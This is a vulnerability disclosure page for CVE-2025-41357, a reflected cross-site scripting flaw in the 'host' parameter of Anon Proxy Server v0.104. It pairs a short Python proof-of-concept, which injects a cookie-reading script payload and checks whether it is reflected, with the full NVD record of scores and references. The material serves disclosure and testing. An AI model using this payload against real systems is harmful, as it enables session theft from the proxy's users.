CVE-2025-41357

import requests # Target URL vulnerable to Reflected XSS target = "http://target-ip/diagdns.php" # Malicious payload to inject JavaScript xss_payload = "<script>alert(document.cookie);</script>" # Injection parameter params = { "host": xss_payload } # Send the GET request response = requests.get(target, params=params) # Check if the payload is reflected in the response if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") else: print("[-] Vulnerability not detected or patched.")

{"cve": {"id": "CVE-2025-41357", "sourceIdentifier": "[email protected]", "published": "2026-03-31T09:16:22.520", "lastModified": "2026-04-07T15:35:30.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected Cross-Site Scripting (XSS) vulnerability in Anon Proxy Server v0.104. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by sending him/her a malicious URL. This vulnerability can be exploited to steal sensitive user data, such as session cookies, or to perform actions on behalf of the user.\nIt affects 'host' parameter in '/diagdns.php' endpoint."}, {"lang": "es", "value": "Vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en Anon Proxy Server v0.104. Esta vulnerabilidad permite a un atacante ejecutar código JavaScript en el navegador de la víctima al enviarle una URL maliciosa. Esta vulnerabilidad puede ser explotada para robar datos sensibles del usuario, como cookies de sesión, o para realizar acciones en nombre del usuario.\nAfecta el parámetro 'host' en el endpoint '/diagdns.php'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anonproxyserver:anon_proxy_server:0.104:*:*:*:*:*:*:*", "matchCriteriaId": "58ED9571-EA95-4002-A5A2-10EBC703F39D"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/reflected-cross-site-scripting-xss-anon-proxy-server", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}